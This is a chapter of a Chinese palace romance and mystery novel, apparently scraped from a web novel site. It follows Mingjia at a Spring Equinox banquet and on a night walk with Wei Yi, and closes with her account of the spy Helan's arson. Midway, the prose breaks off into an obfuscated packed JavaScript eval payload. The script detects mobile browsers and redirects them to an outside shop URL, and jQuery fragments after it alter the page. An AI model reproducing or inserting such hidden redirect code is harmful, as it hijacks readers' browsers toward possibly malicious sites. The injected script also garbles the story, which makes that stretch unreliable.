到了正阳殿,在殿外,明嘉便见到了温惠,两人一同进殿,向皇后行万福礼,落座在了公主身后。
明嘉听得席间谈到今日官家本是要携臣子春耕,意在体民生之苦,察民生之艰,因得雨未有停下之势,便将此事推延了。
她这时才反应过来,原来,今日是春分了。春分自淮北,寒食渡江南。
官家在潜藩之时,虽是团练之身,却也君子求诸己,自力更生,身着布衣,亲自下地耕田种稻,与平民农家无二,而自官家继位以来,皇位赋予他无比崇高的威严,但他仍保留着他那份淳朴的本真,热爱着他的农桑,然日不暇给,因于每年春分必是要春耕的,也算是尽兴一回。
是啊,今日是春分,才得有今日的小聚。明嘉心想。
明嘉桌上最左侧是一盘是再简单不过的小炒春菜,但出众的瓷盘却透着雅致,白色的盘子从中间雕刻了一朵淡红色的牡丹,牡丹灼灼国色红,京城攘攘花开荣,在另一旁是两块裹肉沫鲜花饼,甜腻拌着肉香,而后是一碗鲜美的奶白色鲈鱼汤,青葱卧着鱼块,散发着清甜的浓香,小盏深棕色瓦罐里是肥瘦相间的梅花肉,润红色里泛着馋涎欲滴的饥饿感,沿镂空边缘涂着碧色线条的白瓷盘里雕着粉色五瓣花状的桃花糕,绿色小瓷盘里装着些少见的蜜饯干果,也都雕绘成小花或是小动物的样式,右手边是青白色杯盏里装着春酒,酒里是一个莹黄色的灯笼,明嘉轻摇杯盏,灯笼就在酒里晃来晃去。
明嘉拿起一块桃花糕,轻咬一口,是糯米做的,黏黏糊糊,甜咸适中,宫中御食做得向来精致,可明嘉实在是不甚有胃口,只得老老实实地坐着,静静听得众人言。
“钟淮也来了。”官家举起酒杯同魏熤说道。
“是。”魏熤回酒。
“钟淮这两年都没有入宫和大家一起贺春分,怎的今日入宫来了。钟淮,可是有别的事啊。”
“回圣上,钟淮今日得吴英郡王相邀进宫而来,有幸同圣上一起知民生、察民心。”
吴英郡王看着右侧的钟淮,只好帮他一帮,也不提昨天夜里是谁来找他谈入宫之事。“父皇,正是儿臣相邀。近日宫中奇事多发,春分时节热闹一番,驱邪避祸,也是新的开端。”
官家笑着也不戳穿,“吾知道仲佲你啊,向来和钟淮感情要好。”就你知道,打马虎眼。
魏熤看向明嘉,看着她眼下只有她手里的那碗鲈鱼汤,小口小口地抿着,对席间的谈话是半点也不在乎,不知她是不是全然没有听见罢了。
已入夜,明嘉与身侧的公主行礼辞别,便离席而去。
夜色渐深,明嘉提着灯笼,沿着长廊静静走着,忽然眼前闯进来一个人,明嘉停下脚步,抬眼看向他,微微行礼。
“许是在宫里待得太久了,和我,也不愿意说话了。”
明嘉摇了摇头。
“不如我把张楚林抓进宫来,他乔装打扮成内侍,撒些他张大夫特制的迷药,我抓着他衣裳再飞进来,人不知鬼不觉的,也不算难事。”
明嘉笑着看着他,轻轻摇着头,“不用了。”
魏熤看她笑了,与她并肩同行,“走吧,我送你回去。”
他伸手拿着明嘉手里的提灯,明嘉愣神地看着他,却还是松了手。
灯笼照着前路,魏熤看着身边人,开口提道,“今日你完全没了从前的朗逸,不得开怀,可是因得前些日子的宫火案。”
明嘉沉沉点头。
“可是因得那位不顾生死、坦然走进浓烟大火的侍女。”
那样肃然的场面,明嘉一旦想起如同发生此刻,发生在眼前。
就在绯红彩绘灯笼的烛光里,她也能看到她,决然赴死。
明嘉转头看向他,终于开口,“我没有想到,她是那样地决然,她明明有得选的,她明明还可以有她想要的未来,山下宅屋,流水人家,她明明可以有那一日的。”
魏熤看向她那双澄亮的眼睛,慢慢道来,“你可知西夏有一座神山,西夏人信奉神明,信奉山神会永远守护他们,就如同汉人信奉神佛,给人们带来祥宁福瑞,而那座山,就叫做贺兰山。”
“贺兰山,贺兰。”明嘉重复着她的名字。
“贺兰山下的子民皆姓氏贺兰。”
“贺兰,贺兰氏。可是我看过她的卷宗,她是宋国人,她也没有西夏的亲缘关系。难道,她的身份是伪造的?”
魏熤轻轻点了点头。
“到头来,我可惜的那个人,却也只知道她的姓氏而已,原来,她只是代表她家族中一员。我以为她是有退路的,认了罪,也许只是发配。原来,她从来是没有退路的,她隐瞒的身世和秘密,如若被发现,会被宋人斩草除根。如若没被发现,也许就在被发配的路上,在汴京城里,为得杜绝后患,也会被她的同族赶尽杀绝。甚至,她的亲族也许被西夏权势所囚禁,一旦她背叛,她逃离,她杳无音信,她的亲族也不会有好的结果。”
“明嘉,”他看着她的侧颜,“无论她的身份如何,无论她背负的使命,最后的结局,都是她的选择。她的死和你没有关系的,你只是将掩盖的真相揭露,告知世人。所以,你不用将这些顾念像枷锁一样困住了自己。”
明嘉点头,“我会慢慢走出来的,只是觉得遗憾。我想着,如果家国无恙,无烽烟战火,无他国强权干预,祥和安康,不仅仅贺兰,不仅仅一个贺兰,千许万许的贺兰都应当可以生长在故乡,安守在故国,长命百岁。”
“人间太平,家国永安。是人皆所愿。”少年永远坚定。
魏熤绕过她,走到她面前,手里提着的灯笼,照着她,在莹莹光辉之下,看着她的双眼,“我与你说这些,只是希望你可以和初来汴京城时一样,喜乐长安。”
我在乎,最在乎的,只一个你,“现在的你,和在雨中打湿双翼孤行的小沙雁一般落寞。”
他试图想要用手轻捧她被风吹冷的脸颊,又不得不顾及宫里眼多口杂,右手抬起,手指只得轻拢又松开。
眼前人提着灯,越靠越近,灯柄的红流苏倒影在水溏,风吹过,泛起波纹,明嘉紧紧抓着敛起来的衣裙,她抬眼看着他,与他对视,眼神不坚定地想要躲闪,想要看向别处,“谢谢你,魏公子。”
而后又肯定地答他,“我会好起来的。”
不知走了多久,明嘉抬头,是凝和殿的宫门,停住了脚步,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359766|199741||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她俯身行礼,“魏公子,我到了。”
魏熤对她点头。
明嘉转身要走的时候,魏熤又喊住了她,“明姑娘。”
明嘉以为是她忘了的灯笼,回过头来看向他。
只见他从衣袖里掏出来了一个雨后青白色的玉壶春瓶,递给明嘉,明嘉疑惑着接过,“这是——”
“花溪云霞。”
明嘉愣住了,他真的带进宫里了。
“这是从最早的一坛酒里出来的,酒味比较浅,过些日子,酒味会更浓郁醉人。“他顿了顿,”过些日子,我再给你送来。”
“谢谢。若是不方便,也不必再带进宫了。”
“无碍。”
明嘉思索了一会,问道,“不知魏公子,将驸马的案子查得如何呢?”
“杀人之罪、违逆之罪他都认下了,但有一条,与外敌勾结,他不肯松口,与他勾结的暗探是何人,在何处,他也不肯说。”
“我听闻,已是证据确凿了。”
“是,可我们想要查到他是在何处训练敌兵,又是在何处豢养死士的。他不松口,我们也断了线索。更何况,西夏暗探一日不除,民心难安。”
“那他手下的人呢,这些事定不会是他一人能亲力亲为的。”
魏熤摇了摇头,“无一人愿认下。”
明嘉低头,抿着嘴思索,忽然,她想起了一人,或许,他可有一用。
“魏公子,可还记得去年吴英郡王寿宴之日,驸马府上有一位贵公子被吴英郡王赶出了汴京城,此生不得回京。”
“你是说,他可还有用。”
明嘉点了点头,“他有心攀附吕家,王家人又极力要促成,定是因他是得用的,因他背后的靠山足够支持他。”
“好,我这就派人去寻他。”
“至于西夏暗探之事,我想,我可以一试。”她虽在宫内,音问杳然,可她也有五成把握。
夜里,她小口小口地尝着绿蚁酒,甜甜的,魏熤真的给她带了“花溪云霞”,这么久了,她都要以为他当时真的只是随口说说,没想到他一直都记得,今日,是春分,这是她入宫这些日子以来最最开心的一日了,她捧着花溪云霞,热气在碗口蔓延,她望着窗外的黑夜,雨水顺着屋檐嘀嗒嘀嗒落下,香甜的绿蚁酒在舌苔上回味,她喝得极慢,只因她不舍得喝完。
在长廊下晃悠的灯笼里,在那浊黄的弱光里,明嘉也慢慢想清了贺兰的故事。
三年前,贺兰以宋人身份入宫半年后的一日,接到了西夏暗探从宫外传进来的任务,于梁王袭宫的深夜,火烧临福宫,贺兰在放火之后,才发现,原来一直有一个人看到了自己所做的这一切,而这个人就是戴宜娘,贺兰并不想伤害她,可戴宜娘用力挣脱了贺兰的双手,一步一步跑着喊着走水了,一路救了许多临福宫的宫女内侍,戴宜娘死后,贺兰因得姐妹之情,又暗中保护了戴宜娘的幼子多年,而三年后,宫外又传来消息,欲再起篡位之谋,若成,或许她能得以回贺兰山,于是,再起宫火,将廿七推向朝堂漩涡,只待大成。可是,后来,贺兰自知密事已被揭开,谋逆之事也将再次落败,此后自身难保,最终,纵火自尽。